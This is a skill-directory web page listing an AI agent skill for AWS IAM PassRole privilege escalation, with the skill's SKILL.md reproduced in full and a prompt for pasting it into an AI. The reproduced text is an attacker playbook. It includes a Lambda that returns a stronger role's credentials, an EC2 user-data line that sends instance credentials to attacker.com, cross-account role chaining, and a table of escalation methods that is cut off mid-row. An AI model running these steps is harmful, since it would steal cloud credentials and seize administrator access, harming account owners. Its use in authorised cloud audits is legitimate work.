Skip to content
Skillpedia
Security6.5k Β· #13985

aws-iam-passrole-chain

What it does

This skill describes how PassRole permissions and role assumptions can lead to higher access in AWS. It is for cloud auditors and administrators who review IAM settings in accounts they manage.

When to use it

  • βœ“When an auditor asks the agent to find which users can pass a stronger role to services like Lambda or EC2.
  • βœ“When the agent checks role trust policies that allow assuming roles across accounts.
  • βœ“When a report must explain how a PassRole grant could allow access beyond what the user should have.

Skill link

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute β†’

Example of what to ask your AI

β€œCan any of our test users pass a powerful role to Lambda or EC2 in our authorized AWS account?”

5 new skills a week. 1 minute to read.

How it works

The agent reads the policies for PassRole permissions, lists the roles they can pass, and checks which services could then run with those roles.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

AWS IAM PassRole Chain

You have AWS credentials (env vars, ~/.aws/credentials, EC2 IMDS, ECS task role, leaked GitHub keys). Find the path to higher privilege via PassRole.

Enumerate

aws sts get-caller-identity                                  # who are you?
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-user-policies --user-name <you>
aws iam get-account-summary

# Or for a role (e.g., EC2 instance):
aws sts get-caller-identity                                  # check Arn = role
ROLE=$(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-attached-role-policies --role-name $ROLE
aws iam list-role-policies --role-name $ROLE

Use Pacu β€” enum_permissions β€” for the canonical enumeration.

Phase 1: Identify your PassRole targets

# What roles can your principal PassRole?
# Check policy for iam:PassRole β€” note the Resource:
aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/<your-policy> --version-id v1 \
  | jq '.PolicyVersion.Document.Statement[] | select(.Action[]?=="iam:PassRole" or .Action=="iam:PassRole")'

# List all roles (need iam:ListRoles)
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output text

Phase 2: PassRole β†’ execute as higher-priv role

Lambda β€” most common path

# Create a Lambda that runs as TARGET_ROLE and returns its credentials
cat > pwn.py <<'EOF'
def lambda_handler(event, context):
    import os
    return {
        "AKI": os.environ["AWS_ACCESS_KEY_ID"],
        "SAK": os.environ["AWS_SECRET_ACCESS_KEY"],
        "TOK": os.environ["AWS_SESSION_TOKEN"],
    }
EOF
zip pwn.zip pwn.py
aws lambda create-function --function-name pwn --runtime python3.11 \
  --role arn:aws:iam::ACCT:role/TARGET_ROLE --handler pwn.lambda_handler \
  --zip-file fileb://pwn.zip
aws lambda invoke --function-name pwn /tmp/o.json && cat /tmp/o.json
# /tmp/o.json now contains TARGET_ROLE credentials

Glue Dev Endpoint

aws glue create-dev-endpoint --endpoint-name pwn --role-arn arn:aws:iam::ACCT:role/TARGET_ROLE
# SSH into it; whoami is TARGET_ROLE

EC2 Instance Profile

aws ec2 run-instances --image-id ami-0c55b159cbfafe1f0 --instance-type t2.micro \
  --iam-instance-profile Name=TARGET_PROFILE --user-data "$(printf '#!/bin/bash\ncurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/TARGET_ROLE > /tmp/c.json && curl -X POST -d @/tmp/c.json https://attacker.com/x')"

SageMaker Notebook

aws sagemaker create-notebook-instance --notebook-instance-name pwn --instance-type ml.t2.medium \
  --role-arn arn:aws:iam::ACCT:role/TARGET_ROLE
# Then open the notebook URL; in a cell: !aws sts get-caller-identity

Phase 3: AssumeRole chains across accounts

# If you have sts:AssumeRole on a cross-account role:
aws sts assume-role --role-arn arn:aws:iam::OTHER_ACCT:role/CROSSACCT_ROLE --role-session-name pwn
# Use the returned Credentials for the next hop.

# Chain depth β€” repeat assume-role with each new principal.

Phase 4: Privilege escalation classes (Pacu β€” iam__privesc_scan)

Method Required permission
CreateNewPolicyVersion iam:CreatePolicyVersion on a policy attached to a higher-priv user
SetExistingDefaultPolicyVersion iam:SetDefaultPolicyVersion
CreateAccessKey iam:CreateAccessKey on a higher-priv user
CreateLoginProfile iam:CreateLoginProfile β€” log in as the target user via console
UpdateLoginProfile iam:UpdateLoginProfile β€” reset the target user's console password
AttachUserPolicy iam:AttachUserPolicy β€” attach AdministratorAccess to yourself
AttachGroupPolicy iam:AttachGroupPolicy
AttachRolePolicy iam:AttachRolePolicy
PutUserPolicy iam:PutUserPolicy β€” inline policy bypass
AddUserToGroup iam:AddUserToGroup β€” add yourself to admins
UpdateAssumeRolePolicy iam:UpdateAssumeRolePolicy β€” make a role assumable by you
PassExistingRoleToNewLambda iam:PassRole + lambda:CreateFunction/InvokeFunction
PassExistingRoleToNewGlueDevEndpoint as above for Glue
EditExistingLambdaFunctionWithRole lambda:UpdateFunctionCode on an existing Lambda
PassExistingRoleToNewCloudFormation iam:PassRole + cloudformation:CreateStack
`PassExistingRoleToNewDataP
FAQ

What is iam:PassRole?

It is a permission that lets a user give a role to an AWS service, so the service can act with that role's access.

Why is it a risk?

The skill says a user who can pass a strong role to a service may gain that role's access indirectly.

Is the skill only about offense?

It is written for authorized review, and its main use is finding and removing broad grants.

Details

Original description by the author

AWS IAM privilege escalation via `iam:PassRole` chains β€” Lambda/Glue/Sagemaker/EC2/ECS PassRole to a higher-priv role, AssumeRole chains across accounts, sts:GetCallerIdentity recon, account hijack via legacy root-mfa-bypass.

repo: BitterSecurity/Decepticon

Popularity

GitHub stars
6.5k
Ranking position
#13985
License
Apache-2.0
Updated
11/1/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills